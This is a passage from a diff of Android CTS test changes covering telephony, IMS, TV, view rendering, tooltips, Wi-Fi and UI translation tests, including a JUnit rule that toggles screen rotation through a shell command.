+        Log.d(TAG, "TelephonyManagerTestOnMockModem#testServiceStateChange");
+
+        int slotId = 0;
+
+        // Insert a SIM
+        sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT);
+
+        // Expect: Seaching State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+        // Enter Service
+        Log.d(TAG, "testServiceStateChange: Enter Service");
+        sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, true);
+
+        // Expect: Home State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_HOME);
+
+        // Leave Service
+        Log.d(TAG, "testServiceStateChange: Leave Service");
+        sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, false);
+
+        // Expect: Seaching State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+        // Remove the SIM
+        sMockModemManager.removeSimCard(slotId);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 397e1cb..dd545d6 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -269,11 +269,23 @@
 
     private static class SingleRegistrationCapabilityReceiver extends BaseReceiver {
         private int mCapability;
+        private int mSubId;
+
+        SingleRegistrationCapabilityReceiver(int subId) {
+            mSubId = subId;
+        }
 
         @Override
         public void onReceive(Context context, Intent intent) {
             if (ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE
                     .equals(intent.getAction())) {
+                // if sub id in intent is not expected, then intent should be ignored.
+                int subId = intent.getIntExtra(ProvisioningManager.EXTRA_SUBSCRIPTION_ID,
+                        SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+                if (mSubId != subId) {
+                    return;
+                }
+
                 mCapability = intent.getIntExtra(ProvisioningManager.EXTRA_STATUS,
                         ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE
                         | ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE);
@@ -321,7 +333,7 @@
         InstrumentationRegistry.getInstrumentation().getContext()
                 .registerReceiver(sReceiver, filter);
 
-        sSrcReceiver = new SingleRegistrationCapabilityReceiver();
+        sSrcReceiver = new SingleRegistrationCapabilityReceiver(sTestSub);
         InstrumentationRegistry.getInstrumentation().getContext()
                 .registerReceiver(sSrcReceiver, new IntentFilter(
                         ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE));
diff --git a/tests/tests/telephony5/AndroidTest.xml b/tests/tests/telephony5/AndroidTest.xml
index 3d264da..d960a5b 100644
--- a/tests/tests/telephony5/AndroidTest.xml
+++ b/tests/tests/telephony5/AndroidTest.xml
@@ -17,9 +17,10 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="not-shardable" value="true" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephony5TestCases.apk" />
diff --git a/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
index df0b9d6..1ddba2c 100644
--- a/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
+++ b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
@@ -14,12 +14,13 @@
  * limitations under the License.
  */
 
-package android.telephony2.cts;
+package android.telephony5.cts;
 
 import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.telephony.TelephonyManager;
 import android.telephony.cts.TelephonyUtils;
 
@@ -53,6 +54,7 @@
     }
 
     @Test
+    @AppModeFull
     public void testReadNonDangerousPermission() throws Exception {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 22b4b1b..402431d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -551,9 +551,10 @@
     }
 
     public void testTvInputHardwareOverrideAudioSink() {
-        if (mManager == null) {
+        if (!Utils.hasTvInputFramework(getActivity()) || mManager == null) {
             return;
         }
+
         // Update hardware device list
         int deviceId = 0;
         boolean hardwareDeviceAdded = false;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 13effcd..018bb28 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -447,8 +447,10 @@
         mInstrumentation.waitForIdleSync();
         assertTrue(mTvView.isFocused());
 
-        verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
-        verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
+        verifyKeyEvent(
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
+        verifyKeyEvent(
+                new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
     }
 
     public void testConnectionFailed() throws Throwable {
diff --git a/tests/tests/util/src/android/util/cts/OWNERS b/tests/tests/util/src/android/util/cts/OWNERS
new file mode 100644
index 0000000..c4e91b5
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/OWNERS
@@ -0,0 +1,7 @@
+include platform/frameworks/base:/OWNERS
+
+per-file InstallUtilTest.java = file:platform/frameworks/base:/core/java/android/content/pm/OWNERS
+
+per-file TimeUtilsTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/timezonedetector/OWNERS
+
+per-file TypedValueTest.java = file:platform/frameworks/base:/core/java/android/content/res/OWNERS
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
index f7ce5ca..aa4dc6a 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
@@ -30,6 +30,7 @@
 import static android.view.cts.util.ASurfaceControlTestUtils.reparent;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -94,6 +95,7 @@
         mActivity = mActivityRule.getActivity();
         mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
         mActivity.setMinimumCaptureDurationMs(1000);
+        assumeFalse(mActivity.isOnWatch());
     }
 
     @After
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index 1b120f9..78f9b4d 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -51,6 +51,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -112,6 +113,7 @@
     @Before
     public void setup() {
         mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
+        assumeFalse(mActivity.isOnWatch());
     }
 
     ///////////////////////////////////////////////////////////////////////////
diff --git a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
index 25312e7..b3f2945 100644
--- a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
+++ b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
@@ -105,10 +105,12 @@
         final CountDownLatch doneAnimating = new CountDownLatch(1);
 
         final Consumer<List<Rect>> vtoListener = results::add;
+        int[] location = new int[2];
 
         mActivityRule.runOnUiThread(() -> {
             final View v = activity.findViewById(R.id.animating_view);
             final ViewTreeObserver vto = v.getViewTreeObserver();
+            v.getLocationInWindow(location);
             vto.addOnSystemGestureExclusionRectsChangedListener(vtoListener);
 
             v.setSystemGestureExclusionRects(
@@ -133,8 +135,8 @@
             assertTrue("rect had expected height", sizeRange.contains(first.height()));
             prev = first;
         }
-
-        assertEquals("reached expected animated destination", prev.right, 35);
+        // Consideration of left system bar
+        assertEquals("reached expected animated destination", prev.right, 35 + location[0]);
 
         // Make sure we don't get any more callbacks after removing the VTO listener.
         // Capture values on the UI thread to avoid races.
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 6d949c6..3b02e60 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -22,6 +22,7 @@
 import static android.opengl.GLES20.glClearColor;
 import static android.opengl.GLES20.glEnable;
 import static android.opengl.GLES20.glScissor;
+import static android.view.WindowInsets.Type.captionBar;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -97,11 +98,15 @@
         activity.waitForSurface();
         activity.initGl();
         int updatedCount;
-        updatedCount = activity.waitForSurfaceUpdateCount(0);
-        assertEquals(0, updatedCount);
+        // If the caption bar is present, the surface update counts increase by 1
+        int extraSurfaceOffset =
+                window.getDecorView().getRootWindowInsets().getInsets(captionBar()).top == 0
+                ? 0 : 1;
+        updatedCount = activity.waitForSurfaceUpdateCount(0 + extraSurfaceOffset);
+        assertEquals(0 + extraSurfaceOffset, updatedCount);
         activity.drawColor(Color.GREEN);
-        updatedCount = activity.waitForSurfaceUpdateCount(1);
-        assertEquals(1, updatedCount);
+        updatedCount = activity.waitForSurfaceUpdateCount(1 + extraSurfaceOffset);
+        assertEquals(1 + extraSurfaceOffset, updatedCount);
         assertEquals(Color.WHITE, getPixel(window, center));
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
                 activity.findViewById(android.R.id.content), () -> activity.removeCover());
@@ -109,8 +114,8 @@
         int color = waitForChange(window, center, Color.WHITE);
         assertEquals(Color.GREEN, color);
         activity.drawColor(Color.BLUE);
-        updatedCount = activity.waitForSurfaceUpdateCount(2);
-        assertEquals(2, updatedCount);
+        updatedCount = activity.waitForSurfaceUpdateCount(2 + extraSurfaceOffset);
+        assertEquals(2 + extraSurfaceOffset, updatedCount);
         color = waitForChange(window, center, color);
         assertEquals(Color.BLUE, color);
     }
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 4ce5eba..903e1cf 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -820,6 +820,7 @@
 
         final int tooltipTimeout = ViewConfiguration.getHoverTooltipShowTimeout();
         final long halfTimeout = tooltipTimeout / 2;
+        final long quaterTimeout = tooltipTimeout / 4;
         assertTrue(halfTimeout + WAIT_MARGIN < tooltipTimeout);
 
         // Imitate strong jitter (above hoverSlop threshold). No tooltip should be shown.
@@ -828,28 +829,29 @@
         assertTrue(jitterHigh <= mTooltipView.getHeight());
 
         injectHoverMove(source, mTooltipView, 0, 0);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
         injectHoverMove(source, mTooltipView, jitterHigh, 0);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
         injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
         injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, jitterHigh);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
         // Jitter below threshold should be ignored and the tooltip should be shown.
         injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
+        waitOut(quaterTimeout);
 
         int jitterLow = hoverSlop - 1;
         injectHoverMove(source, mTooltipView, jitterLow, 0);
@@ -862,8 +864,9 @@
 
         injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
-        waitOut(halfTimeout);
+        waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
+        waitOut(quaterTimeout);
 
         injectHoverMove(source, mTooltipView, 0, jitterLow);
         waitOut(halfTimeout);
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
new file mode 100644
index 0000000..36b6314
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixToUserRotationRule implements TestRule {
+    private static final String TAG = "DisableFixToUserRotationRule";
+    private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
+
+    private final UiAutomation mUiAutomation;
+    private final boolean mSupportsRotation;
+
+    public DisableFixToUserRotationRule() {
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        PackageManager pm = InstrumentationRegistry
+                .getInstrumentation()
+                .getContext()
+                .getPackageManager();
+        mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+                && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                if (mSupportsRotation) {
+                    executeShellCommandAndPrint(COMMAND + "disabled");
+                }
+                try {
+                    base.evaluate();
+                } finally {
+                    if (mSupportsRotation) {
+                        executeShellCommandAndPrint(COMMAND + "default");
+                    }
+                }
+            }
+        };
+    }
+
+    private void executeShellCommandAndPrint(String cmd) {
+        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+        StringBuilder builder = new StringBuilder();
+        char[] buffer = new char[256];
+        int charRead;
+        try (Reader reader =
+                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+            while ((charRead = reader.read(buffer)) > 0) {
+                builder.append(buffer, 0, charRead);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+
+        Log.i(TAG, "Command: " + cmd + " Output: " + builder);
+    }
+
+}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
index ccecf85..d6c499c 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
@@ -297,4 +297,8 @@
             }
         }
     }
+
+    public boolean isOnWatch() {
+        return mOnWatch;
+    }
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 4bdc106..ac56a81 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -399,4 +399,8 @@
         }
     }
 
+    public boolean isOnWatch() {
+        return mOnWatch;
+    }
+
 }
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index 0f1f0e8..f712d52 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -66,7 +66,7 @@
     private final String PRIVACY_CHIP_ID = "privacy_chip";
     private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
     private final String PRIVACY_DIALOG_CONTENT_ID = "text";
-    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "mic_privacy_panel";
+    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "qc_title";
     private final String CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID = "qc_title";
     private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
     // The cts app label
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 8b04c2d..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -26,6 +26,7 @@
 import android.view.ViewGroup;
 import android.view.ViewParent;
 import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
 import android.webkit.JsPromptResult;
 import android.webkit.JsResult;
 import android.webkit.WebIconDatabase;
diff --git a/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml b/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
index 1bad59c..9913be3 100644
--- a/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
+++ b/tests/tests/widget/res/layout-watch/magnifier_activity_centered_view_layout.xml
@@ -23,7 +23,7 @@
     android:gravity="center" >
     <FrameLayout
         android:id="@+id/magnifier_centered_view"
-        android:layout_width="80dp"
-        android:layout_height="56dp"
+        android:layout_width="60dp"
+        android:layout_height="36dp"
         android:background="@android:color/holo_blue_bright" />
 </LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index f02f893..4710d1b 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -1220,15 +1220,20 @@
             mActivityRule.getActivity().setContentView(listView);
             listView.setAdapter(mCountriesAdapter);
         });
-
         View row = listView.getChildAt(0);
-        Rect r = new Rect();
-        r.set(0, listView.getHeight() - (row.getHeight() >> 1),
-                row.getWidth(), listView.getHeight() + (row.getHeight() >> 1));
 
+        // Initialize the test scrolled down by half the height of the first child.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView, () -> {
+            listView.scrollListBy(row.getHeight() / 2);
+        });
         listView.resetIsOnScrollChangedCalled();
         assertFalse(listView.isOnScrollChangedCalled());
+
+        // Scroll the first child back completely into view (back to the top of the AbsListView).
+        Rect r = new Rect();
+        r.set(0, 0, row.getWidth(), row.getHeight());
         listView.requestChildRectangleOnScreen(row, r, true);
+
         assertTrue(listView.isOnScrollChangedCalled());
     }
 
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index e50d3a6..4535321 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -543,7 +543,7 @@
     /**
      * Validate that can attach to Wi-Fi Aware.
      */
-    public void testAttachNoIdentity() {
+    public void testAttachNoIdentity() throws InterruptedException {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
         }
@@ -551,6 +551,7 @@
         WifiAwareSession session = attachAndGetSession();
         session.close();
         if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
+            Thread.sleep(WAIT_FOR_AWARE_INTERFACE_CREATION_SEC * 1000);
             assertFalse(mWifiAwareManager.isDeviceAttached());
         }
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 88457ca..1063fc4 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -83,7 +83,7 @@
     private WifiConfiguration mTestNetworkForPeerToPeer;
     private WifiConfiguration mTestNetworkForInternetConnection;
     private ConnectivityManager.NetworkCallback mNetworkCallback;
-    private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+    private TestHelper.TestNetworkCallback mNrNetworkCallback;
     private TestHelper mTestHelper;
 
     private static final int DURATION = 10_000;
@@ -222,14 +222,14 @@
 
     private void testSuccessfulConnectionWithSpecifier(
             WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
-        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
-                network, specifier, false);
+        mNrNetworkCallback = (TestHelper.TestNetworkCallback) mTestHelper
+                .testConnectionFlowWithSpecifier(network, specifier, false);
     }
 
     private void testUserRejectionWithSpecifier(
             WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
-        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
-                network, specifier, true);
+        mNrNetworkCallback = (TestHelper.TestNetworkCallback) mTestHelper
+                .testConnectionFlowWithSpecifier(network, specifier, true);
     }
 
     /**
@@ -276,10 +276,18 @@
         mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
                 mTestNetworkForInternetConnection);
 
+        if (mNrNetworkCallback.waitForAnyCallback(DURATION)
+                && mNrNetworkCallback.onLostCalled) {
+            // If the local only network became unavailable, that should because both network are
+            // using the same SSID. That makes only 1 network available.
+            assumeTrue(mTestNetworkForPeerToPeer.SSID
+                    .equals(mTestNetworkForInternetConnection.SSID));
+            assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+            return;
+        }
+
         // Ensure that there are 2 wifi connections available for apps.
-        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(
-                mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID)
-                        ? 1 : 2);
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
     }
 
     /**
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index c845138..8f0d44e 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -226,11 +226,12 @@
                 .setBssid(MacAddress.fromString(network.BSSID));
     }
 
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mCountDownLatch;
+    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private CountDownLatch mCountDownLatch;
         public boolean onAvailableCalled = false;
         public boolean onUnavailableCalled = false;
         public NetworkCapabilities networkCapabilities;
+        public boolean onLostCalled = false;
 
         TestNetworkCallback(@NonNull CountDownLatch countDownLatch) {
             mCountDownLatch = countDownLatch;
@@ -258,6 +259,21 @@
             onUnavailableCalled = true;
             mCountDownLatch.countDown();
         }
+        @Override
+        public void onLost(Network network) {
+            onLostCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        boolean waitForAnyCallback(int timeout) {
+            try {
+                boolean noTimeout = mCountDownLatch.await(timeout, TimeUnit.MILLISECONDS);
+                mCountDownLatch = new CountDownLatch(1);
+                return noTimeout;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
     }
 
     private static TestNetworkCallback createTestNetworkCallback(
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 78b030c..699a655 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2903,7 +2903,7 @@
             disabledNetworkIds.remove(currentNetwork.getNetworkId());
 
             // PNO should reconnect us back to the network we disconnected from
-            waitForConnection();
+            waitForConnection(WIFI_PNO_CONNECT_TIMEOUT_MILLIS);
         } finally {
             // re-enable disabled networks
             for (int disabledNetworkId : disabledNetworkIds) {
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
 import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -240,6 +243,60 @@
     }
 
     @Test
+    public void testUiTranslationWithoutAnimation() throws Throwable {
+        final float[] originalAnimationDurationScale = new float[1];
+        try {
+            // Disable animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                ContentResolver resolver =
+                        ApplicationProvider.getApplicationContext().getContentResolver();
+                originalAnimationDurationScale[0] =
+                        Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+                Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+            });
+
+            final Pair<List<AutofillId>, ContentCaptureContext> result =
+                    enableServicesAndStartActivityForTranslation();
+
+            final CharSequence originalText = mTextView.getText();
+            final List<AutofillId> views = result.first;
+            final ContentCaptureContext contentCaptureContext = result.second;
+
+            final String translatedText = "success";
+            final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+                    SimpleActivity.HELLO_TEXT_ID);
+            assertThat(helloText).isNotNull();
+            // Set response
+            final TranslationResponse response =
+                    createViewsTranslationResponse(views, translatedText);
+            sTranslationReplier.addResponse(response);
+
+            startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            pauseUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+            resumeUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            finishUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+        } finally {
+            // restore animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                Settings.Global.putFloat(
+                        ApplicationProvider.getApplicationContext().getContentResolver(),
+                        ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+            });
+        }
+    }
+
+    @Test
